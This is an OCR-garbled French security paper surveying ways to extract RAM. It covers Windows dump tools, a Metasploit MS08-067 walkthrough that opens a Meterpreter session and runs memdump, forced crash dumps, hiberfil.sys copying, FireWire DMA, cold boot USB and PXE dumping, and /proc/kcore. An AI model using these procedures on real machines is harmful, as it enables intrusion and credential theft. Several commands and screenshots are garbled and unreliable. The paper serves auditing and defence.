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1. QUELQUES MOTS SUR UNUTEUR

Arnaud MALARD a cing ans d’expérience dans le domaine de la sécurité dont deux au sein de la BU Sécurité
de DEVOTEAM. Il intervient en tant qu’auditeur chez de nombreux clients afin d’évaluer le niveau de sécurité
de leur systéme d’information sous la forme de tests d'intrusion, audits d’architecture et audits de
configuration.

Les domaines d’activité des clients pour lesquels il travaille sont variés : banque, assurance, énergie, luxe et
service.

Les projets pour lesquels il a pu travailler sont également assez larges : audits d’infrastructure (Pare-feu, DNS,
VOIP, GSM, etc) tests d’intrusion applicatifs (Web, Client lourd, Citrix, etc), tests d’intrusion d’infrastructure
(Windows, Unix, TOIP, Printer, WIFI, etc), audit de configuration (Windows, Unix, Cisco, Juniper, Checkpoint,
etc).

Son passé en tant quingénieur sécurité durant trois ans chez un intégrateur réseau lui ont permis de
comprendre les problématiques liées a la production et a la sécurisation des entreprises. Cette expérience lui
permet aujourd’hui de s’adapter aux besoins de ses clients en prenant en compte les contraintes liées aux
métiers.

E-mail professionnel:|arnaud.malard@devoteam.com

Blog professionnel :|http://blog.devoteam.com

E-mail personnel :[sganama@gmail.com

Blog personnel:|http://sudOman.blogspot.com
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INTRODUCTION

2.1. OBJECTIF DU DOCUMENT

Le but de cette étude est de recenser et d’évaluer les différentes méthodes d’exploitation des données
rémanentes en mémoire vive.

Tout d’abord, les différentes techniques connues a 'heure actuelle pour extraire la mémoire vive seront
présentées selon les conditions dans lesquelles peut se trouver un attaquant (accés physique et logiciel
avec privileges élevés ou non).

Dans un second temps, les outils d’analyse d’'images mémoires qui me paraissent intéressants et
indispensables seront exposés. lls permettent la manipulation des images extraites pour y lire des
informations systéme ainsi que la conversion dans différents formats standards.

Ensuite, des exemples de données extractibles seront listés et permettront de juger par vous-méme la
criticité d’'un accés a la mémoire et de ses informations sensibles stockeées.

Enfin, des exemples de manipulation du contenu de la mémoire permettant d’interagir sur le systéme
d’exploitation via un accés possible a la mémoire RAM et selon les types d’accés disponibles pour un
attaquant seront présentés.

2.2. LA MEMOIRE VIVE SELON WIKIPEDIA

La mémoire vive, mémoire systéme ou mémoire volatile, aussi appelée RAM de l'anglais Random Access Memory (gue l'on
traduit en frangals par mémoire & accés direct’], est la mémoire informatique dans laguelle un ordinateur place les données lors
de leur traitement. Les caracteristiques de cette meémaoire sont :

= sa rapidite d'accés (cette rapidite est essentielle pour fournir rapidement les donnees au processeur) ;
= savolatilite {cette volatilité implique que les donnees sont perdues dés que l'ordinateur cesse d'étre alimente en electricite).

... la volatilité étant le point le plus important et traité dans ce papier.

Plus simplement : la mémoire vive contient toutes les données qui sont traitées lorsque votre machine
est démarrée. La mémoire vive agit comme une sorte de disque dur a accés rapide et donc plus sa
capacité est importante plus les performances de la machine sont élevées en termes de rapidité
d’exécution des programmes.

2.3. /MAIS POURQUOI S'’ATTAQUER A LA MEMOIRE VIVE ?

Plusieurs raisons m’ont poussé a m’intéresser a cet élément majeur d’'une architecture systéme et
celles-ci sont exposées ci-dessous.

Contrairement au disque dur, la mémoire RAM est sollicitée pour chacune des actions réalisées sur le
systéme et contient donc plus de données sensibles telles que des mots de passe saisis, historique, des
données non maitrisées et non inscrites sur le disque dur...

Les nombreux moyens existants pour extraire la mémoire RAM en font une cible privilégiée.
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La compromission d’un systéme par l'altération directe de la mémoire RAM est plus discréte que celle
réalisée par I'altération des fichiers du disque dur.

Contrairement a certains disques durs, le contenu de la mémoire RAM n’est pas chiffré et facilite ainsi
'accés au systéme ou sa manipulation méme si le disque dur est chiffré.

Enfin, c’est un des éléments majeurs d’'une architecture systéme, il est donc humain de s’y intéresser ...
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/NIETHODES DE RECUPERNTION DE LN MEMNOIRE RN/

Ce paragraphe traite des différentes méthodes d’extraction du contenu de la mémoire vive selon la
situation dans laquelle peut se trouver un attaquant: accés physique, accés logique, accés avec
privileges élevés ou non...

3.1. CAS D’UN SYSTENME WINDOWS CONPROMIS

Il existe de nombreux logiciels permettant I'extraction de la mémoire RAM lorsqu'une session Windows
est démarrée et contrélée. Les plus connus sont présentés ci-dessous et nécessitent tous les droits
Administrateur pour s'exécuter. Evidemment, leur exécution peut étre réalisée a distance via un accés
obtenu licite (accés Netbios ou VNC par exemple) ou illicite (via une faille identifiée et exploitée) et ne
nécessite pas d’avoir obligatoirement un accés physique a la machine. lls peuvent tous étre placés sur
un média amovible afin de réaliser une extraction depuis celui-ci sans qu'aucun outil ou librairie n'ait
besoin d'étre installé sur le systéme.

3.1.1. EXTRACTION LOGICIELLE

1 DD.EXE

La derniére version officielle du logiciel ne supporte plus I'accés direct en RAM et une ancienne version
doit étre utilisée. Ne parvenant pas a identifier un lien officiel pour télécharger cet outil, je I'ai a votre
disposition sur mon blog :
[https://docs.google.com/leaf?id=0B 0g70pm7im80OThhOTk4M;ltNjYXNSOON2U3LTIIZjYtM{I2MGFKkMDh |

mN2Ix&hl=en

La commande suivante génere une image de la mémoire et la stocke en local :

Sachant qu’un serveur a été lancé sur la machine distante via I'outil Netcat :

nc -v -n -L -p 3000 -s @IP-machine-source --decomp 1lzntl -O h:\servername\filename.img -

localwrt

1 MDD.EXE

MDD.exe permet de réaliser une extraction de RAM d'une capacité de 1Go en seulement 1 min. |l peut
étre  téléchargé sur le site suivant : [http:/sourceforge.net/projects/mdd/files/mdd/mdd-|

1.3/mdd 1.3.zip/download

La commande suivante génére une image de la mémoire et la stocke en local :

mdd 1.3.exe -o image.dd

Pour information, MDD est utilisé dans le framework « Metasploit » afin de réaliser une extraction de
RAM d'un systéme compromis a distance (voir 2.1.2).
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Le logiciel est compatible avec Windows 7, 2008 et les versions antérieures.

1 MEMORYZE

Memoryze est un ensemble d'outils permettant la manipulation de la mémoire RAM (extraction,
exploitation, ...). Pour réaliser une extraction, l'outil disponible est « MemoryDD.bat » et permet de
réaliser une extraction de RAM de capacité de 1Go en 1 min 30.

La commande suivante génére une image de la mémoire et la stocke en local :

MemoryDD.bat —-size 100 —-output image.dd

Si aucune option n’est fournie au script alors la totalité de la RAM est extraite et stockée dans le
répertoire « Audit\<nom-de-machine\<identifiant-unique\ ».

La derniere version disponible du logiciel est téléchargeable sur le site suivant
[http://www.mandiant.com/software/ Memoryze.htm| et compatible avec Windows 7, 2008 et les versions
antérieures.

1 WIN32DD.EXE

Win32dd est un outil développé par Matthieu Suiche et permettant de réaliser une extraction de RAM
d'une capacité de 1Go en environ 30 secondes. Il peut étre téléchargé sur le site suivant:
http://moonsols.com/blog/2-blog/9-moonsols-windows-memory-toolkit

La commande suivante génére une image de la mémoire et la stocke en local :

Win32dd.exe /r /f image.dd

Si vous souhaitez générer une image exploitable par le débogueur « Windbg », lancez la commande
suivante :

Win32dd.exe /d /f image.dd

L'outil comporte de nombreuses autres options intéressantes telles que la création d'image de la RAM
sous différents formats (Crash Dump, Hibernation) ou I'extraction a distance ... n’hésitez pas a I'essayer.

Par exemple, la commande suivante génére une image de la mémoire et la stocke sur une machine
distante :

win32dd.exe /t @IP-machine-distante /c 2 /p 6666

Sachant qu’un serveur a été lancé sur la machine distante :

win32dd.exe /1 /p 6666 /f test.dmp
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3.1.2. EXTRACTION DE LA MEMOIRE VIA LE FRAMEVVORK METASPLOIT

Comme précisé précédemment, I'extraction au niveau logiciel ne nécessite pas obligatoirement un accés
physique a la machine et le FrameWork Metasploit a mis en ceuvre un plugin automatisant I'extraction a
distance.

3.1.2.1. GENERALITE

Si vous avez identifié une vulnérabilité sur un systéeme Windows permettant I'exécution de code a
distance et dont [Il'exploit est disponible sur la plateforme dattaque Metasploit
http://www.metasploit.com|, il est possible d’en extraire la mémoire RAM a distance.

Quelque soit la vulnérabilité identifiée, vous aurez tout d’abord besoin de récupérer les scripts et
exécutables suivants :

| mdd.exe : a positionner dans le répertoire « data » du programme Metasploit de la machine
attaquante
| memdump.rb : a positionner dans le répertoire « scripts/meterpreter » du programme Metasploit

de la machine attaquante |http://www.darkoperator.com/meterpreter/memdump.rb

Le premier est un exécutable qui, une fois déposé et exécuté sur la machine victime, permettra
I'extraction de la mémoire RAM.

Le deuxiéme est un script Ruby permettant de positionner automatiquement « mdd.exe » sur la victime,
de I'exécuter a distance, transmettre le résultat a la machine attaquante et supprimer les traces sur la
machine victime.

3.1.2.2. EXENMPLE D’UTILISATION

Le cas concret présenté ci-dessous permet I'extraction a distance de la mémoire RAM via 'exploitation
d’une récente vulnérabilité découverte (MS08-067).

1) Lancez tout d’abord la console metasploit via la commande « msfconsole »

sudoman@SudOman-Laptop:~/Secu/xploit/trunk$ ./msfconsole

< metasploit >

- 233 payloads

msf > use windows/smb/ms08 067 _netapi
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4) Choisissez I'adresse IP de la machine attaquante ainsi que celle de la machine victime

msf exploit(ms08_067 netapi) > set LHOST 192.168.1.2
LHOST => 192.168.1.2

msf exploit(ms08_ 067 netapi) > set RHOST 192.168.1.3
RHOST => 192.168.1.3

LHOST étant 'adresse IP de la machine locale attaquante et RHOST la machine cible victime.

5) Lancez I'exploit et donc la console Meterpreter

msf exploit(ms08_ 067 netapi) > exploit

[*] Started bind handler

[*] Automatically detecting the target...

[*] Fingerprint: Windows XP Service Pack 2 - lang:French

[*] Selected Target: Windows XP SP2 French (NX)

[*] Triggering the vulnerability...

[*] Transmitting intermediate stager for over-sized stage... (191 bytes)
[*] Sending stage (2650 bytes)

[*] Sleeping before handling stage...

[*] Uploading DLL (75787 bytes)...

[*] Upload completed.

[*] Meterpreter session 1 opened (192.168.1.2:37489 -> 192.168.1.3:4444)

6) Depuis la console Meterpreter, exécutez le script « memdump »

meterpreter > run memdump

[*] Running Meterpreter Memory Dump Script

[*] Uploading mdd for dumping targets memory....

[*] mdd uploaded as C:\WINDOWS\TEMP\75966.exe

[*] Dumping target memory to C:\WINDOWS\TEMP\12701

[*] Finnished dumping target memory

[*] Deleting mdd.exe from target...

[*] mdd.exe deleted

[*] Downloading memory image to /home/sudoman/.msf3/logs/memdump/192.168.1.312701
[*] Finnished downloading memory image

[*] Deleting left over files...

[*] Memory image on target deleted

La totalité de la mémoire (256 Mo dans ce cas) a été extraite et son contenu a été copié sur la machine
attaquante dans le répertoire « ~/.msf3/logs/memdump ».

sudoman@sudiman-Laptop: ~msf3/logs/memdump/I92 168, 1.312701

Fichier Edition Affichage Terminal Onglets Aide
sudoman@sud@man-Laptop:~/.msf3/logs/memdump$ cd 192. 1q§_1 312781/ [~]
sudoman@sud@man-Laptop:~/.msf3/logs/memdump/192.168.1.31

total 261884

2701% 1s -al

drwxr-xr-x 2 sudoman sudoman 4096 2009-03-23 13:42 .
drwxr-xr-x 8 sudoman sudoman 4@96 2009-03-23 13: 45 .

sudoman_sudoman 2678 : .1m lEl
sudoman@SudBman Laptop ~/. msf3flogsjmemdump/192 168. 1 312791‘ B
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Les traces sont effacées automatiquement de la machine victime et permet donc de rendre relativement
discréte cette attaque.

3.1.3. EXTRACTION AU NIVEAU NOYAU

L'API « NtSystemeDebugControl() » permet de réaliser des taches de débogage au niveau Noyau.
L'outil « memimager.exe » disponible sur le site suivant : |http://ntsecurity.nu/toolbox/memimager] utilise
cette API.

La commande suivante permet la génération d’'une image mémoire de 2Go :

L'utilisation de cette API n'est par contre plus autorisée depuis Windows 2003 SP1 et une alternative est
possible en exploitant une vulnérabilité dans la Virtual DOS Machine (VDM). Ce « Proof of the Concept »
est décrit par Alex Lonescu et disponible a I'adresse suivante : http://recon.cx/en/f/aionescu-subverting-
w2k3-kernel-integrity-protection.ppt

3.1.4. EXTRACTION VIA LE PORT SERIE

Une machine tournant sous le systéme Windows bénéficiant d'un port série et sur laquelle un compte
valide a été obtenu, est susceptible d'avoir une mémoire RAM lisible depuis un poste connecté par le
biais de ce port. L'outil « windbg», utilisé pour le débogage Windows, est disponible sur le site [de]
Microsoft et permet de lire, par exemple, les processus actifs et éventuellement d'en modifier les
propriétés. Lintérét majeur de cette méthode n’est pas de lire la mémoire RAM mais d’en modifier son
état et donc la possibilité d’élever des privileges systéemes. Ce cas est présenté dans la suite de ce
papier.
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3.2. EXPLOITATION D’UN « CRASH » \WINDOWS

Lorsque le systéme est configuré d’'une certaine maniére (voir plus bas), un processus spécifique a
Windows, et nommé « CrashDump », est lancé automatiquement lorsque le systéme Windows tente de
lire ou écrire dans une zone de mémoire non autorisée. Cela se traduit par le fameux « blue screen ».

a problem has br-en detected and windows has been shut down to prevent damage
0 your compu

DRIVER_IRQL_NOT_LESS_OR_EQUAL

If this is the first time you've seen this Stop error screen,
computer, If this screen appears again, follow

re dny new hirdere or software is prnppr1) installed.

semiim amdoana An eafFe A s e A
or any w

seqinning dump of physical memory

If proble
sof

“a'ths1ca1 memory dump comp1ete.

/OUr CompCEENTITN 2
select safe Mndp

echnical information:

w¥¥% STOP: 0x00000001 (Ox0000000C, 0X00000002, 0x00000000, OXFR8GES5A89)

kel gv3.sys - Address F86B5A89 base at F8685000, DateStamp 3dd99leb

Beginning dump of physical memory
h cal memory dump complete.
ntact your system administrator or technical support group for further
'stance.

Le CrashDump est en réalité une copie automatique de la mémoire RAM sur le disque dur systéme
(« C:\Windows\MEMORY.DMP ») a l'instant ou le systéme a planté et permet en général de déboguer le
systéme pour connaitre la raison de l'erreur systtme. Evidemment, nous verrons par la suite qu'il est
possible d'exploiter cette extraction a des fins malicieuses...

Au lieu d'attendre qu'un « crash » se réalise pour récupérer le fichier en question, Nirsoft a développé un
outil permettant de faire planter manuellement le systéme, « StartBlueScreen.exe » est disponible a
I'adresse suivante : http://www.nirsoft.net/utils/start blue screen.html.

La commande suivante permet de générer un « blue screen ».

StartBlueScreen.exe 0x10 0x1111 0x2222 0x3333 0x4444

Si l'attaquant a physiquement accés a la machine cible et qu’aucune possibilité s’offre a lui pour s’y
introduire par le biais d’un logiciel il peut extraire le disque dur et le connecter sur une autre machine afin
d’y récupérer l'éventuelle image générée par un précédent CrashDump. Cette hypothése est
parfaitement plausible étant donné que le fichier d’image généré n’est pas effacé automatiquement par le
systeme et que c’est a l'utilisateur de le supprimer manuellement, chose qui est rarement faite... Alors,

prenez 5 minutes pour aller jeter un ceil sur votre PC pour voir si vous faites parti de cette
catégorie... ©

Evidemment le degré d’informations recueillies dans 'image générée dépend des paramétres fixés sur le
systéme et accessibles depuis « Propriétés Systeme > Démarrage et récupération » :
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Démarrage et récupération 21xl

—Démarrage du systé

Systéme d'exploitation par défaut

I'Microsoﬂ Windaws ¥P Professionnel” fnoexecute=aptin jfastdetuj
¥ Afficher |z liste des systémes d'exploitation pendant I 30 3: secondes

[~ afficher les options de récupération pendant : 10 = secondes

Cliquez sur Modifier pour modifier les options de démarrage. Modifier

Défaillance du systé
¥ Ecrire un éyénement dans le journal systéme
¥ Envoyer une alerte d'administration

[V Redémarrer automatiquement

Ecriture des informations de débogage

Image mémaire compléte - I

{aucun)
Image mémoire partielle (64 Ko)

rs existants

oK I Annuler |

En effet, une image partielle de la mémoire fournira moins d’informations qu’une image compléte et sera
donc moins pertinente pour un attaquant.
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3.3. EXPLOITATION D’UN FICHIER D’HIBERNATION WINDOWS

Lorsqu'un systéme Windows est mis en veille prolongée ou en hibernation, un fichier « hiberfil.sys »,
correspondant approximativement a l'image de la mémoire RAM (seules les pages mémoires utilisées
étant sauvegardées et les données sont compressées), est sauvegardé automatiquement a la racine de
la partition systéme (généralement C:\) afin de conserver I'état du systéme a restaurer lors du réveil du
systéme.

E=Inm i

ez I (0 0 ko Fichier swstéme

docurnents "
) | hiberfil, sys 2 033 372 Ko Fichier swskéme
ke de travail

WINXP-HP (C:) CONFIG.S\.“S ko chhfer svsbeme
Une hibernation peut étre lancée a travers l'interface Windows suivante :

Arrét de Windows x|

Enreqistre votre session sur disque et vous permet d'éteindre
l'ordinateur en kouke sécurité, La session est restaurée au
redémarrage de Windows.,

O I Annuler Aide

3.3.1. NTTAQUE PHYSIQUE

Si un attaquant a physiquement accés a la machine cible et qu’aucune possibilité s’offre a lui pour s’y
introduire par le biais d’un logiciel, il peut extraire le disque dur pour le connecter sur une autre machine
afin d’y récupérer le fichier en question.

Le fait d'enlever le disque dur d'une machine en hibernation ne la perturbera en aucun cas et celle-ci
pourra restaurer normalement son état suite a la réinsertion du disque. Nous verrons par la suite qu'il est
possible d'exploiter le contenu du fichier d'hibernation afin d'en extraire des informations sensibles mais
aussi d'en modifier le contenu dans le but par exemple de déverrouiller la session ou d’élever ses
privileges systémes.

3.3.2. NTTAQUE LOGIQUE

D’un point de vue logiciel, lorsqu’'une machine est démarrée alors qu’elle était précédemment en
hibernation, il n’est pas possible a premiére vue, méme avec les droits systémes, de copier un fichier
« hiberfil.sys » vers un quelconque emplacement, Windows interdisant la manipulation des fichiers en
cours d’utilisation.

INDOWS' system32' cmd.exe

C=~>copy hiberfil.sys D: _’ ‘_
Le processus ne peut pas acceéder aw fichier car ce fichier est wtilisé par un autre processus.

Des outils tels que HoBoCopy
[http://sourceforge.net/project/showfiles.php?group id=117783&package id=204974] permettent de
lever cette restriction et de réaliser la copie des fichiers systémes en cours d’utilisation.
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Ainsi le fichier « hiberfil.sys » peut étre extrait depuis un accés logique afin d’étre exploité.

H@QCKRNAW
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Dz%ARCHIVEMforensichRAMvsandman®HoboCopyhxp>HoboCopy.exe C:% D:%dd pagefil.sys

HoboCopy Cc) 2006 Wangdera Corporation. hobocopyCGwangdera.com

Starting a full copy from C:% to 0:%wdd

Copied directory
Backup successfully completed.
Backup started at 2010-11-26 00:3%:21, completed at 2010-11-26 DD:3%:24.
0 files CO0.00 bytes, 1 directories) copied, 20 files skipped

Il est important de préciser que les droits requis pour copier le fichier systéme sont ceux d’administration.

3.3.3. CONDITION D’EXTRACTION

Il est important de savoir que méme si la machine est arrétée (et non en hibernation) et que la mise en
veille prolongée a déja été lancée au moins une fois, alors le fichier d’hibernation sera toujours présent
et pourra étre récupéré. En effet, le fichier « hiberfil.sys » est présent sur la partition systeme tant que la
fonction d’hibernation est activée (option « powercfg /hibernate on » ou paramétre « Activer la mise en

veille prolongée »

disponible dans

« Panneau de configuration

> Propriétés des Options

d’alimentation »). Evidemment la validité des informations contenues dans le fichier peut ne plus étre
d’actualité si I'hibernation n’a pas été lancée récemment ...

Propriétés de Options d'alimentation

Modes de gestion de l'alimentatic
Jauge de batterie I Avancé

Lorsque l'ordinateur passe en \
informations en mémoire sur le
l'ordinateur sort de veille prolon

Mize en veile prolongée

¥ &ctiver la mise en veile prolongée

Version 1.2
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3.4. EXTRACTION VIA UN ACCES DIRECT A LA MEMMOIRE (DMWN)

L'attaque consiste a exploiter le fait que la communication entre un périphérique Firewire et une machine
ne comporte aucune sécurité car les données transitant a travers le bus Firewire ne passent pas par le
microprocesseur pour des raisons de performance. De ce fait, le périphérique en question peut alors
contrbler les accés en mémoire de la machine et donc y lire ou écrire le contenu.

LIAISON PAR CABLE FIREWVIRE

De nombreux articles disponibles sur Internet ont été écrits sur ce sujet et l'intérét de cette partie n’est
pas d’expliquer a nouveau cette attaque mais d’expliquer comment I'exploiter techniquement.

Son principe consiste donc a faire passer la machine pirate pour un périphérique de stockage Firewire
aux yeux de la victime. L'utilisation de périphériques Firewire étant « plug and play », linstallation se
réalise automatiquement sans intervention de l'utilisateur méme lorsque la session de la machine est
verrouillée (ou lorsqu’elle vient d’étre démarree).

La machine pirate doit tout d’abord fonctionner sous le systéme d’exploitation Linux et les éléments
suivants doivent étre installés :

| Librairies 1394 : |'http://www.kernel.orq/pub/linux/libs/ieee1394/Iibraw1394—1.3.0.tar.qzi [Installation :
“./configure;make;make dev;make install”]

| Outil de développement « Swig »
| Interpréteur « python2.x » ainsi que les librairies de développement « python2.x-dev »
| Packages comportant les outils de manipulation de mémoire

http://www.storm.net.nz/static/files/pythonraw1394-1.0.tar.gz

Ensuite, les modifications suivantes doivent étre apportées :

| Modifiez la localisation de linterpréteur Python dans les fichiers « Makefile », « romtool »,
« businfo ».

1 Localisez la librairie « raw1394.h » (« /usr/local/include/libraw1394/ ») et commentez toutes les
chaines « __attribute__ ((deprecated)) ;» via « // ». N'oubliez pas d’ajouter un « ; » sur les lignes
précédentes.

| Vérifiez que le chemin de la librairie « raw1394.h » est correctement indiqué dans le
« Makefile » et dans le cas contraire faite la modification nécessaire dans le « Makefile ».

| Lancez la commande « make » depuis afin de générer les librairies indispensables au
lancement des outils d’attaques (raw1394.py, _raw1394.s0).

Le module gérant le Firewire « raw1394 » doit étre chargé :

sudo modprobe rawl394
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Chargez une image de périphérique de stockage (par exemple celle d’'un Ipod Apple) sur le port
Firewire :

./romtool -s 0 ipod.csr

Connectez les deux machines via le cable Firewire. C’est a ce moment que la machine Windows détecte
la machine du pirate comme un Ipod et installe automatiquement le pilote permettant de communiquer
avec celui-ci. Vérifiez alors I'état du bus Firewire :

Et cherchez dans le résultat de la commande le port et le nceud Firewire correspondant a la machine
Windows.

root@Ares:

ewire initi

Dans le cas ci-dessous, nous voyons que la machine Microsoft communique avec le port 0 et le nceud 1
de la machine pirate. Ces parameétres sont essentiels pour réaliser la suite de I'attaque.

Le script « 1394memimage » permet alors en utilisant les précédentes informations de réaliser
I'extraction.
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L’extraction d’'une mémoire de 1Go a été réalisée en environ 7 minutes lors de nos tests.
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Aprés l'attaque, il est possible de voir des traces de celle-ci au niveau du gestionnaire de périphériques
ou un pilote pour lecteur de disque Apple Ipod a été installé.

L, Gestionnaire de périphérigues

Bichier Action  Affichage ?

= W & @ 2

€ Contréleurs 5CST et RAID

@ AS510x82 IDE Contraller

@ Lecteurs de cartes & puce

< Lecteurs de CO-ROM/DVD-ROM

% Lecteurs de disque

iJi ¢ Apple Computer_Inc. iPod IEEE 1394 5BP2 Device |
~age TOSHIBA MKS046G5X

Cette attaque est également réalisable via un accés PCMCIA cété victime et exploitable donc via une

carte PCMCIA Firewire.
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3.5. METHODE ULTIN\E D’EXTRACTION : UATTAQUE COLDBOOT

Si nous prenons en compte les méthodes présentées précédemment, la seule maniére de se protéger
efficacement de I'extraction serait donc de sécuriser la machine en respectant les recommandations
suivantes :

| Désactivation du port Firewire et PCMCIA ;
| Désactivation du port série RS232 ;

| Désactivation de la veille prolongée ;
|

Sécurisation de la machine pour éviter qu’elle soit vulnérable (mise a jour, protection des flux,

)3
| Chiffrement complet du disque dur.

Malgré la mise en application de ces derniers points, une victime n’est pas totalement a I'abri d’une
extraction de mémoire.

En effet, si une machine démarrée sur un systéme d’exploitation quelconque est accessible
physiquement par un attaquant, alors celui-ci peut mener I'attaque présentée ci-dessous et nommée
Coldboot.

3.5.1. MISE EN CEUVRE DE UATTAQUE COLD300T
| Généralité

Lorsqu'un ordinateur est éteint subitement, la mémoire RAM, malgré que le systéme ne soit plus
alimenté électriquement, contient encore la totalité de ses données pendant environ cing a dix secondes
et 80 % des données sont disponibles pendant les trois premiéres minutes. En refroidissant la mémoire
RAM via de l'air sec, il est possible d'étendre ce temps a 10 minutes en ramenant la température de la
barrette mémoire a -50°C et permet alors a un attaquant d'exploiter le contenu sans étre contraint par le
temps.

La technique suivante exploite ce principe et ne nécessite donc qu'un accés physique a la machine sans
aucun droit particulier sur le systeme. L'attaque est évidemment réalisable sur tout type de systeme
d'exploitation (Linux, Windows, MAC).

| Déroulement de l'attaque

L'attaque se déroule en sept étapes :

1) L'attaquant récupére la machine de la victime encore sous tension et dont l'accés logique n'est pas
possible (session verrouillée par exemple)

2) L'attaquant accéde a la barrette mémoire RAM du systéme et la vaporise via une bombonne d'air
sec a faible distance et jusqu'a temps que la barrette soit extrémement froide

3) L'attaquant éteint alors brutalement la machine en débranchant ['alimentation (cas d'une
workstation) ou la batterie (cas d'un laptop)

4) Dans le cas ou la machine empéche le boot (mot de passe bios, séquence de boot ne proposant
pas I'USB, ...), I'attaquant peut extraire physiquement la barrette est la placer sur une autre machine
dont il a le contrble
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5) Dans le cas contraire, l'attaquant peut alors gagner du temps et utiliser la machine victime pour
réaliser I'extraction

6) Dans les deux cas, l'extraction consiste, aprés avoir redémarré la machine (victime ou contenant la
RAM), a booter sur un systéme Linux placé sur une clef USB -ou PXE voir plus loin- et sur lequel

I'utilitaire msramdmp a été installé. Ce dernier permet de copier automatiquement le contenu de la
mémoire RAM de la machine sur une clef USB.

7) Aprés environ 5 minutes pour une taille mémoire de 1Go, I'attaquant peut alors exploiter le contenu
de la RAM recopié alors sur la clef USB.

msramdmp - McGrew Security Ram Dumper - v 0.5.1
httpissmegrewsecur ity . compro jects/nsrandmps
Robert Wesley McGrew:! wesley@mcgreusecurity.com

Found -srn-d-? partition at disk 6x80 : partition 4

Partition isn’t marked as used. Using it
Marked partition as used.

Mriting section from Ox60000000 to Ox0009FFFF
Writing section from 6x00100000 to Ox3ff906060

3.5.2. PREPARATION POUR EXTRACTION VIA UNE CLEF US3

Tout d'abord les sources suivantes doivent étre téléchargées et décompressées :

SYSLINUX :|http://www.kernel.org/pub/linux/utils/boot/syslinux/

MSRAMDMP :|http://mcgrewsecurity.com/projects/msramdmp/msramdmp.tar.gz

Il est nécessaire d'effacer la totalité des données de la clef (/dev/sdb)

root@SudOman-Laptop: /home/sudoman# dd if=/dev/zero of=/dev/sdb

dd: écriture vers "/dev/sdb': Aucun espace disponible sur le périphérique
3907584+0 enregistrements lus
3907583+0 enregistrements écrits

2000682496 octets (2,0 GB) copiés, 225,742 s, 8,9 MB/s

Deux partitions doivent étre créées via la commande « fdisk » ou « cfdisk » et selon la répartition
suivante :

- 1ére partition de 1 Mo en type « fat16 [06] » avec le flag BOOT activé et permettant d’installer le
systéme Linux

- 2éme partition utilisant I'espace disque restant en type « Venix 80286 [40] » et permettant de stocker
le contenu de la RAM
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2

3U SECURITE,

Hchier Edition Affichage Terminal

: 1816
-1

FaT16ll

80286

Primaire

a2 N W R Prinaire . .

[Amorcable] [Détrui
o[ Quitter ] [

[ afficher ]
on)

ante

La 1ere partition « /dev/sdb1 » doit étre formatée en FAT16 :

: /home/sudoman/Secu/forensi
1 (12 Mar 2005)

msramdmp# mkfs.msdos /dev/sdbl
os

Puis le fichier « mbr.bin » du répertoire « syslinux-3.61/mbr » doit étre copié sur « /dev/sdb »

root@: /home/sudoman/Secu/forensic/syslinux-3.61/mbr# dd if=mbr.bin of=/dev/sdb
0+1 enregistrements lus

0+1 enregistrements écrits

404 octets (404 B) copiés, 0,0162045 s, 24,9 kB/s

Ensuite, exécuter le script d’installation « syslinux » dans le répertoire « syslinux-3.61/unix » afin de
rendre amorcgable la clef USB (/dev/sdb)

rootQ: /home/sudoman/Secu/forensic/msramdmp/syslinux-3.61/unix#./syslinux dev/sdbl

Aprés avoir monté la premiére partition sur le systéme, les fichiers « msramdmp.c32 » et « syslinux.cfg »
doivent étre copiés a la racine de celle-ci

root@: /home/sudoman/Secu/forensic# mount /dev/sdbl /media/usb/
root@: /home/sudoman/Secu/forensic# cd msramdmp

rootQ: /home/sudoman/Secu/forensic/msramdmp#cp msramdmp.c32 syslinux.cfg /media/usb/

La clef, désormais préte a réaliser une extraction de mémoire, peut étre démontée du systéme
root@: /home/sudoman/Secu/forensic/msramdmp# umount /media/usb/

Aprés avoir réalisé une extraction de la mémoire (cf. 2.5.1), le contenu de la mémoire a été conservé
dans la deuxiéme partition.

root@: /home/sudoman# fdisk -1
Périphérique Amorce Début
/dev/sdbl * 1 1
/dev/sdb2 2 1016

Blocs
1891 4
1950830 41

Id Systeme
FAT16 <32M
PPC PReP Boot

Celle-ci n'est plus de type 40 mais de type 41 (msramdmp ayant volontairement effectué cette opération
avant I'extraction) et devient désormais lisible et peut étre copié bit a bit via les commandes strings et dd.
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3901660+0 enregistrements écrits

1997649920 octets (2,0 GB) copiés, 98,3137 s, 20,3 MB/s

Il est maintenant possible de rechercher de la mémoire extraite a partir de la partition sdb2 :

root@:/ strings /dev/sdb2 | grep password

root@:/ strings dump-ram-coldboot.dmp | grep password

Attention : Avant chaque nouvelle opération d'extraction, il est donc nécessaire de reformater la
deuxiéme partition en type 40.

Sources
http://d-kriptik.com/blog/2008/02/21/cold-boot/
http://www.mcgrewsecurity.com/tools/msramdmp/

http://citp.princeton.edu.nyud.net/pub/coldboot.pdf/

http://www.linuxjournal.com/article/10289

http://citp.princeton.edu/memory/code/

3.5.3. EXTRACTION VIA PXE

Il est également possible de réaliser une extraction mémoire via un acces réseau a partir du boot PXE.

Celle-ci consiste a démarrer la machine victime non plus sur une clef USB mais depuis le boot PXE si
celui-ci est autorisé. L'intérét est de pouvoir effectuer I'extraction lorsqu’il n’est pas possible de démonter
la barrette mémoire et que le démarrage via 'USB n’est pas autorisé. En effet, certains BIOS systemes
mal configurés n’autorisent pas le boot USB contrairement au boot PXE (accessible souvent via F12 au
démarrage).

L'extraction via PXE se déroule donc en quelques étapes et nécessite que la machine attaquante soit
connectée au méme réseau local que la victime et qu’elle est un serveur DHCP et TFTP activé :

| Apreés le chargement du BIOS, le protocole PXE commence a s'exécuter (F12)

Recherche d'une adresse IP sur un serveur DHCP

Réception de I'adresse IP et des informations réseau assignées au poste par le serveur DHCP
Téléchargement du gestionnaire de démarrage via TFTP

Sélection de I'image de démarrage

Téléchargement des fichiers de démarrage a I'aide du protocole TFTP.

Téléchargement du noyau linux bootable

Exécution des fichiers de démarrage

Téléchargement de 'image mémoire a destination de I'attaquant via le réseau

Le site suivant propose les outils permettant de réaliser I'extraction ainsi que des tutoriaux détaillés :

http://citp.princeton.edu/memory/code/
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3.6. CAS D'UN SYSTENME LINUX CONMPRONIS

La mémoire physique sous Linux est stockée dans le fichier systéme « /proc/kcore ».

Ce fichier représente la mémoire physique du systéme et est stocké au format du fichier core.
Contrairement a la plupart des fichiers /proc, kcore affiche une taille. Cette valeur est donnée en octets et
est égale a la taille de la mémoire vive (RAM) utilisée plus 4 Ko. Seul I'utilisateur root peut visualiser ce
fichier.

Etonnamment, il a été observé que le contenu de ce fichier contient le mot de passe de I'utilisateur root
en clair !
